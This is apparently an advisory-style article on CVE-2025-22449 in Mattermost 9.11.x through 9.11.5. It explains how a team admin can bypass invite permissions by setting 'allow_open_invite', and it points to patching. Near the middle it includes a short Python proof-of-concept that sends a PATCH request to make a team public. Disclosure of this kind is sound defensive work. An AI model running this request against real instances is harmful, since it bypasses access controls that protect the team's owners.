Mattermost, an open-source messaging and collaboration platform, has recently been identified to have a critical security vulnerability in its 9.11.x versions, specifically those <= 9.11.5. This vulnerability, assigned the CVE ID of CVE-2025-22449, allows team administrators to invite users to their team even if they don't have permission by bypassing the invite permission settings. The exploit involves updating the "allow_open_invite" field, essentially making the team public.

This long read will dive into the details of the vulnerability, discussing its potential impact, providing sample code snippets to demonstrate the exploit, and offering links to the original security references for a more in-depth look.

Exploit Details

The vulnerability manifests itself when a team administrator, who should not have permission to invite users, is still able to invite users by simply updating a field value. This is possible when a team admin updates the "allow_open_invite" field, to change the team's setting from restricted to public. Once a team becomes public, any user can join it without receiving an invite.

Here's a sample code snippet demonstrating the exploit

import requests

# API endpoint for updating team settings
url = "https://mattermost.example.com/api/v4/teams/{team_id}/patch";
headers = {
    "Authorization": "Bearer YOUR_ACCESS_TOKEN",
    "Content-Type": "application/json"
}

# Craft the payload to update "allow_open_invite" field
payload = {
    "allow_open_invite": True
}

# Send PATCH request to update team settings
response = requests.patch(url, headers=headers, json=payload)

if response.status_code == 200:
    print("Team has been successfully made public, bypassing invite permissions.")
else:
    print("An error occurred:", response.text)

This code snippet uses Python to send a PATCH request to the Mattermost API, updating the team's settings to make it public. By changing allow_open_invite to True, the team will become open to the public, allowing any user to join the team without an invitation.

Original References and Resources

For more information about the vulnerability, the following resources provide official details and guidance on the issue:

1. Mattermost Security Update: https://mattermost.com/security-updates/
2. Mattermost Security Bulletin: https://mattermost.com/security-bulletin/
3. MITRE CVE Database Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22449
4. NIST National Vulnerability Database (NVD) Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-22449

Mitigation and Remediation

Mattermost has released updated versions that address this vulnerability, and affected installations are encouraged to update their software to the latest versions. It's essential to ensure that your Mattermost instance is regularly updated to eliminate vulnerabilities like these and reduce the risk of exploitation.

In this specific case, administrators should be aware of the potential abuse of the "allow_open_invite" field in their team settings and restrict its access where necessary. This can be done through proper permission management and more strict security policies for team administrators.

Conclusion

The CVE-2025-22449 vulnerability in Mattermost 9.11.x <= 9.11.5 poses a serious risk to the security of team member management and should be addressed as soon as possible by updating the affected software. This article has provided an overview of the exploit details, code snippets demonstrating the vulnerability, and reference links to better understand the issue. Stay vigilant in ensuring your Mattermost security by closely monitoring your settings and keeping your software updated.

Timeline

Published on: 01/09/2025 07:15:28 UTC